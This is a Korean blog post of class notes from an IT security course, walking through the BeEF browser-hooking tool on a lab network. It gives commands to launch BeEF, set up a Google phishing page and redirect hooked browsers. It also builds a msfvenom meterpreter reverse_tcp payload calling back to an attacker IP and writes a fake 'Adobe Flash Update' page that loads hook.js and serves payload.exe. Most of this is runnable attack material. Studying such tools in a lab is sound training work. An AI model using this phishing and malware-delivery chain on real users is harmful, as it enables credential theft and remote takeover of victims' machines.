본문 바로가기
메가IT아카데미 국기과정/리눅스와 시스템보안

[3-7] BeEF

by 한님폐하 2022. 9. 12.
  • 페이크 웹 사이트 제공 및 브라우저 후킹 도구

1. BeEF 실행

service apache2 restart
beef-xss &		# beef/beef 
firefox http://127.0.0.1:3000/ui/panel &

 

2. 타겟이 공격자 아이디로 접속하면 후킹된다.

 

3. 'BeEF'을 이용한 피싱 사이트 구성

Online Browsers [타겟 IP] -> Commands -> Social Engineering -> Google Phishing -> [내용] -> Execute

[내용]

  • XSS hook URI: http://0.0.0.0:3000/demos/basic.html
  • Gmail logout interval (ms): 10000
  • Redirect delay (ms): 1000

 

4. 실제 구글 사이트로 리다이렉션 실시

Online Browsers '192.168.20.202 -> Commands -> Browser -> Hooked Domain -> Redirect Browser -> [내용] -> Execute 

[내용]

Redirect URL: http://www.google.com

 

Google

 

www.google.com

 

5. 'BeEF'를 이용한 악성코드 유포

  • Reverse_TCP 페이로드 제작
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.50 lport=4444 -f exe -o /var/www/html/payload.exe

 

  • 페이크 웹 후킹 페이지 제작
cat << EOF > /var/www/html/index.html
<DOCTYPE html>
<html>
<head>
<title>Adobe Flash</title>
<script src="http://[공격자 IP]:3000/hook.js"></script>
</head>
<body><center>
<img src="adobe.png" alt="adobe" width="204" length="204">
<p>
<input type="button" name="btnDownload" value="Update" onclick="window.open('payload.exe','download') return false;"/>
</p>
</body>
</html>
EOF

 

  • 아파치 웹 서버 재시작과 msgrpc 플러그인 실시
service apache2 restart
msfconsole
load msgrpc Pass=abc123

 

  • 다른 터미널창을 이용하여 BeEF를 실행한다.
 ./beef -x

 

  • 메타스플로잇에서 Reverse_TCP 대기 상태 설정

'메가IT아카데미 국기과정 > 리눅스와 시스템보안' 카테고리의 다른 글

[3-9] 어셈블리어  (0) 2022.09.12
[3-8] 레지스터 구조  (0) 2022.09.12
[3-6] Setoolkit  (0) 2022.09.12
[3-5] Metasploit  (0) 2022.09.12
[3-4] Bash Shellshock 취약점  (0) 2022.09.12